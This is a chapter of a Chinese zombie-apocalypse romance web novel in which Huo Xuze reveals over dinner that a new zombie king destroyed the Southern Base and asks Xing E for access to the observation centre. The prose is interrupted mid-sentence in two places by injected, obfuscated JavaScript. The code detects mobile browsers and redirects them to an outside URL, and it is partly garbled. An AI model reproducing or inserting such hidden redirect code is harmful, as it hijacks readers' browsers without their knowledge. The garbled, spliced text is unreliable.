末世命贱,生活还苦,刘磊承八百年没吃过这种调味到位、刺激味蕾的新鲜麻辣小龙虾了,实在是连壳都不愿意浪费。 “没事儿,我消化能力好。”他憨笑一声,摸摸后脑勺,“霍哥厨艺太好了。” 然而刚说完,就见自家老大桌前小山似的一堆龙虾空壳,而霍哥碗里的虾肉也一起堆成了小山。 刘磊承“诶”了一声,奇怪问:“霍哥不是不吃荤吗?” 霍序则笑笑,回应:“现在不忌口了。” 看了眼碗中的虾肉山,饶是霍序则这种厚脸皮也有些不好意思,低声对邻座的刑厄道:“给小运吧,我自己来。” 不等刑厄说话,刑运忙说:“序则哥,你手有伤还是别剥了,让我哥给你剥,我哥剥虾很厉害的。” 霍序则那日开门撞见白狮鬼鬼祟祟“偷校服”,不知是不是没做好心理准备,手里拿着的刮胡刀片不小心割伤了掌心。 鲜红的血液一滴滴顺着他握拳的指缝流淌了一地,把白狮吓得吼得整栋居民楼都以为发生了什么不得了的大事。 后来霍序则包扎了伤口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289510|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,白狮一直没离开,后面一个星期的隔离,刑厄的精神体干脆守在了家里。 也是因为这样,白狮与霍序则的精神体在这段期间还算混了个半熟。 蜘蛛单方面动不动对白狮发起挑战,白狮沉默隐忍打不还手,最终两只精神体继续和平共处“相亲相爱”的那种。 “她自己会剥,你吃你的。”刑厄手上动作没停。 小龙虾是霍序则亲自点的食材,他告诉刑厄,家人许的愿没机会实现了,他的誓言破了不用再守斋吃素。 而他的手受了伤没好不方便,这餐桌上一大份色泽浓郁、香味盎然的麻辣小龙虾,每只虾都是刑厄帮着在厨房一遍遍用牙刷刷干净才让霍序则放锅里调味做出来的。 霍序则无法,吃下一口嫩滑饱满的虾肉,想到自己之后也是贡献给下水道,突然觉得很是可惜。 “你也吃。”霍序则夹了一筷子虾肉放进刑厄还空着的碗中。 刑厄剥虾的动作不易察觉地顿了下,又听霍序则问:“这么会剥虾,以前经常剥?” 霍序则只知道刑厄的母亲在后来那场车祸中丧生了,但其他事情由于他近期“自残”行为到位,倒是没有精神丝敢靠近刑厄的妹妹。 于是也就并不清楚,刑厄家真正具体的情况。 他以为也许是刑运爱吃虾,或者刑厄的母亲从前爱吃,所以刑厄才将剥虾技术练得这么炉火纯青。 可刑厄却回答:“小时候在夜宵摊帮工,帮客人剥虾有时候有小费。” 霍序则闻言一怔,从碗中抬眼。 他想问,小时候是什么时候?如果是高中,刑厄不会用“小时候”形容。而刑厄以前好像还提过,十六岁以后可以正式打工,那他在那之前难道也…… “霍哥……你眼睛看得见了?!” 没等霍序则犹豫要不要多问一句,坐在餐桌对面一直傻愣愣看着自己老大和霍哥互动的刘磊承陡然发现了华点! 霍哥刚刚那个眼神!分明是看得到刑哥才会露出那种眼神的吧! “啊……是。”有些话一旦错过了机会便不好再问,霍序则收敛心神,笑了笑解释,“其实我本来也没瞎。” 在无人看见的桌底,霍序则包着纱布的右手悄悄用力,白色纱布立即隐隐透出殷红,确定精神丝不会从眼中泄露出半分后,霍序则面上神色无懈可击。 他自然地扭头,那双雾灰色布满神秘纹路的眼睛一眼入魂,望向对面的刘磊承,一本正经道: “只是我的异能原来是透视眼,比如我现在看小刘就跟光着没什么两样,所以……” 霍序则话音未落,对面餐桌的刘磊承瞪大眼,倏地双手交叉环抱住胸口,意识到哪里不对,又转换双手位置一下捂到身下。 他右手边许久没吭声的梁幸没忍住“噗嗤”一声。 25.新一代丧尸王 饭过三巡,霍序则顺手从桌上拿过一罐啤酒,才拉开拉环,就被旁边伸来的另一只手中道截走。 “你手有伤。”刑厄面无表情没收了霍序则的啤酒罐。 “啤酒而已。”霍序则不觉得啤酒那点酒精含量能对自己的手伤造成什么影响,何况这手伤本来也是他有意为之。 他没觉得刑厄多管闲事,只是悄悄撞了撞临座刑厄的手肘,低声商量说:“都已经打开了,这罐也别浪费,我有些话想说,总要先走个开场。” 刑厄在霍序则抬手撞他时,身体不自觉微微僵硬,而霍序则说完,他没犹豫直接拿起霍序则先前拉开的啤酒罐,喉结滚动数下,仰头悉数咽下。 放下空啤酒罐,刑厄目光认真看向霍序则:“你说。” 霍序则:“……” 对面的梁幸眼神玩味,适时发出阴阳怪气的疑问:“哟,第一次听说喝酒还有高中同学代喝的?” 刑厄末世前什么工作都做过,就是没碰过酒,他的生活里没有容纳酒精的钱财和精力,他必须时时刻刻保持清醒,每天都倾尽全力地生活。 他不懂得酒桌文化,也不明白霍序则所说的说话前要什么过场,但他毫不犹豫替霍序则喝了这罐啤酒。 因为,霍序则的手不能再受伤了。 这是第二次,霍序则又一次在他面前流血。 霍序则还挨着刑厄放在桌上胳膊肘的手臂慢半拍收回,传导心声的精神丝同步抽离。 被霍序则藏在桌底那只大家以为因受伤不方便使用的掌心绷带上点点殷红,这一刻无意识松开了些。然而痛感消失的瞬间,霍序则的指尖反而不受控地抽动了下。 类似痉挛反应,很细微,也代表着他的内心心绪并不平静。 “南部基地覆灭,其实有内情。”霍序则移开目光,眼角却微微弯起,残留着精神丝传递回信息那一瞬的复杂而又不可言说的愉悦。 他轻咳一声,重新调整状态,终于进入这场聚餐目的的真正主题:“丧尸王在一年前就已经被南部基地消灭了。” 伴随着霍序则沉静悦耳的嗓音,一个足以震动全球的消息就这么被霍序则在这个看似平常的午后,于酒足饭饱的餐桌前语气平淡地说了出来。 平地一声惊雷,最先有反应的是对桌的刘磊承,他一下子从座椅上激动地猛然站起。 “霍哥,你说的是真的?!” 他右手边的梁幸这时仰头闷了口啤酒,脸上有一瞬阴霾闪过,没出声。 第二个问话的是刑运,她手中的筷子差点掉落,呆了下问:“丧尸王一年前就已经……” “上一代丧尸王一年前已经死了。”霍序则肯定地接话。 丧尸王代表着末世丧尸病毒变异传播的根源,一旦丧尸王死亡,按理说丧尸病毒的变异速度就将被彻底抑制,只要人类幸存者得以获得喘息,丧尸病毒最终被消灭便不会只是幻想。 梁幸闷头喝酒不说话,在场乍听霍序则放出的这一石破天惊重磅消息后,还维持着冷静镇定的便只剩下霍序则邻座的刑厄了。 他注意到霍序则对“丧尸王”的用词里多了个前缀,而且南部基地既然最后走向了衰败,那么这件事情必定还有后续。 果然,霍序则眼角那点放松愉悦,随着这一严肃话题的深入,渐渐消失。 “但上一代丧尸王死后不久,南部基地的研究所就发现他们有研究员出现了行为不受控、头脑短期空白、记忆混乱、甚至逐步失忆等等一系列无法解释的古怪现象。” 一年前,南部幸存者基地还是全球东南西北四大幸存者基地中的领头羊。 那时候的南部基地异能者人数一度比东、西两个幸存者基地加起来还多,于是他们也理所当然配备有全球最尖端的科技武装力量和优等的科研人才力量。 霍序则的话还没说完,餐桌上除了梁幸,所有人都安静屏息望着霍序则。 霍序则的声音在继续,梁幸垂下眼睛又闷了口酒,听他接着说:“而那时候,新一代丧尸王其实已经悄然渗透了南部基地研究所。” “到最后,等南部基地研究所真正发觉不对,已经无力回天,整个研究所全军覆没,而南部基地也陷入混乱恐慌,在一年后彻底瓦解。” 短短几句话的功夫,曾经全球四大基地之首的南部幸存者基地就从鼎盛时意气风发一举歼灭丧尸王,到最后分崩瓦解落得只能苟延残喘迁徙投靠其他基地。 作为同为南部基地过来的异能者,梁幸在霍序则说话期间一次都没有出声参与,他只是闷头一口一口抿着啤酒,一罐接着一罐。 餐桌前久久无人说话,直到霍序则对面的刘磊承回过神,艰涩开口重复:“新一代……丧尸王?” “是。”霍序则没了啤酒,只能拿着餐桌上的玻璃水杯浅酌一口代替。 他本人似乎已经对这个情况接受良好,霍序则放下玻璃杯,神情淡淡:“比上一代丧尸王更厉害,更悄无声息防不胜防,变异得也更快的新型丧尸王。” “如果任由新一代丧尸王发展壮大下去,今后的世界……” 霍序则此时停顿了下,像是在卖关子,刘磊承不自觉吞咽了口唾沫,喉结紧张滚动,听到对桌的人道: “只要你活在这个世界上,你身边的一切,空气、阳光、水源,目之所及的所有都将被病毒渗透,它们无孔不入,没有人可以忤逆它,所有人都只能束手就擒等待变成行尸走肉,这只是时间早晚问题。” 霍序则话音落定,桌上如他预料的没有人再开口搭腔。 鸦雀无声中,邻座的刑厄忽然伸手拉开一罐新的啤酒,往已经被霍序则喝空了的水杯中倒出一点。 酒液大概爬升到水杯三分之一的高度时,刑厄放下啤酒罐,将水杯推向霍序则。 霍序则有些诧异地抬眼看向刑厄。 如今也就只有刑厄是霍序则可以肆无忌惮不需要强行用异能干扰视觉对视的人了,刑厄的异能不比他低,霍序则这一个星期在刑厄的精神体白狮与自己精神体的“较量”中确定下来。 蜘蛛的蜘蛛丝无法伤害白狮,如果白狮反抗,鹿死谁手还真说不好。 可惜唯一能和霍序则对视的人,只对视了一瞬就别开了目光,刑厄低声说:“如果想喝一点,就喝这一点。” 于是,霍序则的眼角眉梢又愉悦起来,眼睛弯出一道漂亮的弧度,左侧脸上的酒窝也若隐若现。 “好啊。”他轻声答应。 霍序则接过杯子,但没有立即往嘴边送,他还是看着避开了和自己对视的刑厄,直到刑厄大概被他灼灼的目光逼到死角没了办法。 刑厄喉结上下动了动,视线可疑地胡乱落在一桌龙虾残骸上,问:“需要我们北部基地怎么做?” 刑厄曾在与梁幸一同外出基地做任务时,单独问过梁幸,霍序则伪装成普通人混入北部基地,是需要他配合什么? 而现在,刑厄回到基地已经超过了一周,他明知这件事梁幸必定会传话给霍序则,可这一个星期之中,刑厄一次都没有主动开口询问过这件事。 无论是霍序则到底是什么异能,还是他的目的究竟为何,刑厄从来没有主动追问。 他在等霍序则自己愿意开口说的时候。 霍序则叹了口气,而现在刑厄终于问了,在自己扔下一颗重磅炸弹的消息后,刑厄改了口风,从他要怎么配合,直接问北部基地该配合什么? “我想进观察中心。” 霍序则直截了当给出结论,他抿了一口清啤酒,这玩意儿在他精神力暴涨后,他就再没机会碰过,但今天他确实想喝一点。 就刑厄为他控制量的这一点就好。 “南部基地出事前,我在南部基地的研究所待过一段时间,我掌握了一些资料,对分辨新型丧尸病毒可能有用。” 在霍序则带来的沉重消息打击中,刘磊承目瞪口呆安静了许久,直到这会儿才慢慢联想起什么:“所以霍哥让刑厄不要放走那个潜入者?” 基地中身份手环上的信息讲白了都要通过基地通讯处过滤,没有任何秘密可言,霍序则当初特意用身份手环给刑厄发消息也是这个原因。 他肯定点头:“我怀疑那个人就感染了新型变异病毒。” “北部基地不该重蹈南部基地的覆辙,我想进观察中心排查一遍其他隔离人员情况。” 到底在末世锻炼得久了,刘磊承抗打击能力还是有的,他调整好心情,在霍序则说完后,立即反应过来担忧: “霍哥说的新一代丧尸王的变异病毒不是传播风险更高吗?霍哥进去排查会不会有危险?” 霍序则笑了下,神色松弛:“风险当然不可避免,但我的父母家人在末世初期就丧生了,无牵无挂,而且我是当时南部基地研究所唯一活着出来的人。” “我是最合适的人选。”他说。 霍序则不是第一次主动提及家人亡故孑然一身,任谁都能听出这话中“舍身取义”的意味。上一次他还在装成普通瞎子时,他就前往基地大楼观察办求过职。 刘磊承焦急道:“那怎么行!霍哥异能这么高,你怎么能以身涉险呢!那个什么鉴别方法,你可以教给其他……” “谁去都是危险,谁的人命都是命。”霍序则打断刘磊承的话,甚至一张堪称完美建模的俊脸上仍旧带着松弛笑意,“我的异能高,有经验,我已经是最不容易感染的人了。” “可是,可是……”刘磊承还想说什么。 “刘副官、刑运。”刑厄突然出声。 刘磊承条件反射地应:“到!” 一直插不上嘴,也明白自己不该在这时插嘴的刑运也回:“哥。” “你们先回避一下。”刑厄说。 刘磊承推着刑运进房间后,刑厄看着霍序则,才顿了下问:“你的异能……和辨认丧尸病毒感染有关?” 刑厄不是刘磊承,没那么好被忽悠,霍序则当然不会是什么“透视眼”异能,不然梁幸不会没忍出嗤笑那一声。 那么结合霍序则隐瞒异能者身份、装瞎、几次迅速判断出感染者情况不难猜到,霍序则的异能必定和这个有关,并且不宜让他人知道。 梁幸早在霍序则提及父母家人亡故时,就失手捏坏了一罐啤酒,酒液顺着桌子洒了些到他的衣服上,他躲都没躲,只是整个人显得越来越暴躁难耐。 突然,梁幸站起身:“你们自己聊,我走了。” 说完,也不管桌上剩余两人什么反应,背影僵硬地转身就走。 霍序则盯着梁幸的背影直到“砰”的一声关门声彻底消失,他慢慢收回目光,而刑厄始终一错不错看着霍序则。 霍序则唇角勾了下,向刑厄解释:“他就是这个脾气。” 刑厄没回话,仍然看着他。 霍序则缓缓与人对视,也是第一次刑厄与霍序则对视,没有首先避开目光。 霍序则回答:“是,有关。” 他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313682|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异能的确与新型变异丧尸病毒有关,只是目前……他还没办法直接向刑厄坦白。 于是他说:“你可以理解为我的眼里有台病毒扫描仪,但这种扫描是带有辐射的,正常人可能会被我的眼睛伤害,而感染者会被我的眼睛照出原型。” 霍序则一半真一半靠编解释了自己眼睛的异常,他说完,不忘俏皮狡黠又劣根性不改地朝刑厄眨了眨眼,问:“你怕不怕?” 刑厄望着他,在霍序则的眼神“挑衅”中,沉默了一秒,干巴巴地回了一个字:“怕。” 就是面上什么表情都没有,显得这句话十分没有信服力。 霍序则被刑厄这种哄小孩儿“你异能真厉害”似的反应弄得哭笑不得,还没来得及说其他的,便听刑厄再次开口。 “你想去观察中心,我会帮你联系。” 霍序则一愣,下意识说:“你不反对?” 刑厄慢慢摇头,终于将如同钉在霍序则身上的目光移开,转而盯着桌上那罐他往霍序则杯子里倒过小半杯酒的啤酒罐。 “如果你想。”他说。 简单的四个字,从刑厄口中艰难滑出,但出口却又异常坚定,掷地有声。一如他曾向梁幸承诺的那样,无论霍序则要怎么做,他都会无条件配合。 一顿开始时热闹欢腾的聚餐,到最后沉重压抑宾客四散。 霍序则手上有伤,刑厄没让他帮忙收拾,简单将碗筷收整回厨房,刑厄走出来对客厅里站着的霍序则说:“我送你回去。” 霍序则的行李在聚会开餐前就收拾好了,就地隔离结束,他总要回去自己的住所。 霍序则没拒绝,说:“好啊,那谢谢了。” 大半个月没有离开过刑厄家那套三室一厅的小居所,出来见到北部基地的街道还是那样,末世普通人人心惶惶,笼罩在丧尸病毒无孔不入感染的阴影下,街上少见行人。 为求保险,霍序则走在外面时,眼睛上还是蒙上了白丝巾。 有外人潜入刑厄家住所的那天半夜,霍序则接到刑运的求助通讯出门出得急,没有带什么充当盲杖的伞,这会儿刑厄说要送他,霍序则便自然挽上了刑厄的手臂。 沉默地走了大半路程,刑厄突然开口:“那件校服……” 寡言如北部基地首席执行官,要让他主动引出一个话题实在难得。 刑厄说了四个字,停了好一阵,才继续说:“我不是故意不还的。” 一个星期前,刑厄的精神体白狮想偷偷拿走房间衣柜抽屉中藏着的校服,事情被霍序则当场撞破后,霍序则一句相关疑问都没有询问过刑厄。 他有疑虑,他瞻前顾后,他不敢捅破那层窗户纸,害怕窗户纸后的人让他眷恋,而他没时间了。 可令霍序则没想到的是,刑厄竟会主动提起。 霍序则“嗯”了一声,以为刑厄还想要多解释点什么,但刑厄说完这句似乎就是结束,他又沉默下来。 然而,在这样的沉默中,挽着刑厄手臂的霍序则蒙在白丝下的眼皮几不可察地跳了跳。 修长匀称的指节无意识微蜷成拳。 刑厄的异能等级足够高,目前不受霍序则精神丝影响,但二人身体接触时,霍序则的精神丝依旧可以传递回对方的意识信息。 刑厄说完他不是故意不还后,没有继续下去的话是什么呢? 高中时期的刑厄很忙,上课、打工、照顾母亲、妹妹几乎侵占了他全部的时间,他总是像个陀螺一样不停连轴转,他在学校的自由时间很少,几次去到霍序则班上想要归还校服,霍序则都不在。 那时候的霍序则也是个大忙人,学生会、各种学科竞赛、篮球队、足球队、辩论比赛,哪里都能看到霍序则的身影,又一不留神哪里都找寻不到他。 那一天晚自习,刑厄要提前离校外出打工,他将书包里洗干净整齐叠好的校服拿出到手上,再次前往霍序则所在班级。 很不巧的,这一次,班级里霍序则的座位依旧空着。 刑厄在校没有任何朋友,所有人见了他都绕道走,他也没有试图找霍序则的同班同学帮忙送还校服,他猜想霍序则并不会希望会有和他这样的人熟识的消息在学校传出。 赶着打工的刑厄停留不了太久,只能先行离开,当他从楼梯间下到二楼时,突然感觉到有目光隐隐落到自己身上。 刑厄警惕地抬头,眼神凶悍扫向目光源头,却在与那道目光的主人对上视线的那刻一怔。 ——是霍序则。 晚自习时间,霍序则与一个女生站在走廊上,女生是背对着刑厄的,刑厄看不到女生的脸,但女生的身材高挑,后脑上扎着一个活泼的高马尾,与背后轻抵在走廊栏杆上姿态慵懒随意的霍序则对面而立。 女生比霍序则矮上不少,不知女生对霍序则说了什么,霍序则微微弯腰侧耳倾听,雾灰色神秘的眼眸里浮出淡淡笑意,只认真听着女生说话,偶尔才低低回应上一句。 他的出现似乎打扰了他们,霍序则与女生没再继续说话,而是一起扭头看向陷落在黑暗楼梯间中刑厄的方向。 于是刑厄看到,转过脸来的女生从脸颊到耳根一路透着粉红,面上表情满是羞赧惊愕,倏然睁大的眼睛如同小鹿般瞪着打扰了他们的自己。 在这样的目光中,刑厄无意识攥紧手中的校服外套,狼狈低头转身快速离开。 他们在聊什么呢? 原来霍序则和女生聊天,会露出那样温柔又纵容的笑。